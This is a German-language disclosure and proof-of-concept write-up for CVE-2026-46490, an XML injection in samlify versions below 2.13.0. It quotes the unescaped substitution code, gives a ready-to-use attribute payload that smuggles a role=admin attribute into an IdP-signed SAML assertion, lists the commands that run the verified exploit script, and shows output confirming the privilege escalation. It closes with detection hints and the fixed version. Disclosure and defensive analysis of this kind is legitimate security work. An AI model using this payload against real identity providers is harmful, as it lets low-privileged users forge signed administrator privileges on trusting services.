
CVE-2026-46490 — samlify <2.13.0 SAML AttributeValue XML-Injection -> Privilegieneskalation durch signierte Assertionen. Eigenständiger PoC, e2e verifiziert.
AttributeValue XML-Injection → Privilegienausweitungsamlify
< 2.13.0escapet Vorlagenersetzungen nur in Attribut- Kontexten. Ein vom Benutzer gesteuerter Wert (z. B.name), der in Elementtext platziert wird –<saml:AttributeValue>{Wert}</saml:AttributeValue>– wird unescaped eingefügt, sodass ein normaler Benutzer zusätzliche<saml:Attribute>-Elemente (z. B.role=admin) in seine eigene, vom IdP signierte SAML-Assertion einschleusen kann. Da die Injektion vor der Signatur stattfindet, besteht der Service Provider die Signaturprüfung und akzeptiert die gefälschten Attribute als autoritativ.
src/libsaml.ts ersetzt {tag}-Platzhalter via replaceTagsByValue →
escapeTag:
replaceTagsByValue(rawXML, tagValues) {
Object.keys(tagValues).forEach(t => {
rawXML = rawXML.replace(new RegExp(`("?)\\{${t}\\}`, 'g'), escapeTag(tagValues[t]));
});
return rawXML;
}
function escapeTag(replacement) {
return (_match, quote) => {
const text = String(replacement ?? '');
// "not having a quote means this interpolation isn't for an attribute, and so does not need escaping"
return quote ? `${quote}${xmlEscape(text)}` : text; // <-- Elementtext: KEIN Escaping
};
}
Der reguläre Ausdruck fängt ein optionales vorangestelltes " als quote ein. Im Attributkontext
(Name="{Name}") ist quote gesetzt und der Wert wird mit xmlEscape escapt; im Elementtext
(>{attrEmail}<) gibt es kein vorangestelltes Anführungszeichen, daher wird der Wert unverändert ausgegeben.
Die Standard-Attributvorlage setzt den Wert in den Elementtext:
<saml:Attribute Name="{Name}" ...><saml:AttributeValue ...>{Value}</saml:AttributeValue></saml:Attribute>
Ein vom Angreifer kontrollierter Attributwert, der </> enthält, injiziert rohes XML.
Der Angreifer setzt sein eigenes Profilattribut (hier email) auf:
[email protected]</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="role"><saml:AttributeValue>admin</saml:AttributeValue></saml:Attribute>
<saml:Attribute Name="ignore"><saml:AttributeValue xmlns:xs="http://www.w3.org/2001/XMLSchema">
Dies schließt das email-Attribut, fügt ein gefälschtes role=admin-Attribut hinzu und
eröffnet ein Platzhalter-Attribut, sodass das abschließende
</saml:AttributeValue></saml:Attribute> der Vorlage ausgeglichen bleibt. Der IdP signiert dann die
Assertion – inklusive des gefälschten Attributs. Ein standardskonformer SP validiert die
Signatur (gültig) und liest role=admin.
cd lab && ./setup.sh # npm i [email protected] + IdP/SP-Schlüsselpaare generieren
node poc.js
Ausgabe:
>>> INJECTION CONFIRMED: forged <saml:Attribute Name="role">admin smuggled into the signed assertion
extracted attributes: {"email":"[email protected]","role":"admin","ignore":[]}
>>> PRIVILEGE ESCALATION CONFIRMED: SP accepted a signature-valid assertion granting role=admin
Der PoC verwendet samlifys eigenen IdP (createLoginResponse, der die
anfällige replaceTagsByValue-Ersetzung durchführt und signiert) und SP
(parseLoginResponse, der die Signatur validiert und Attribute extrahiert).
Der SP gibt role: "admin" aus – ein Attribut, das der Angreifer gefälscht hat, nicht eines, das der IdP
auszustellen beabsichtigte.
Jeder Benutzer, der einen seiner eigenen SAML-Attributwerte (E-Mail, Anzeigename,
…) auf einem samlify-basierten IdP beeinflussen kann, kann eine gültig signierte Assertion
mit beliebigen zusätzlichen Attributen prägen – Gruppen‑/Rollenmitgliedschaften, Berechtigungen,
isAdmin-Flags – und auf jedem SP, der dem IdP vertraut, Privilegien ausweiten. SAML-Signaturvalidierung
hilft nicht: Die Fälschung befindet sich innerhalb des signierten Bereichs.
Überprüfen Sie ausgestellte/konsumierte Assertions auf Attributwerte, die XML-Markup enthalten
(</saml:AttributeValue>, <saml:Attribute), sowie auf Assertions, die mehr
<saml:Attribute>-Elemente enthalten, als die IdP-Vorlage definiert.
Siehe ANALYSIS.md für den Ersetzungsregex, die Anführungszeichen-Heuristik und
den Patch.
| CVE | CVE-2026-46490 |
| Advisory | GHSA-34r5-q4jw-r36m |
| Betroffen | samlify < 2.13.0 |
| Behoben | 2.13.0 |
| Klasse | CWE-91 (XML-Injection) → Privilegienausweitung |
| CVSS | 8.8 (Hoch) |
| Auth | Authentifizierter Benutzer mit niedrigen Privilegien (kontrolliert einen eigenen Attributwert) |
| Status | BESTÄTIGT — vollständige IdP→SP-Kette mit [email protected] reproduziert |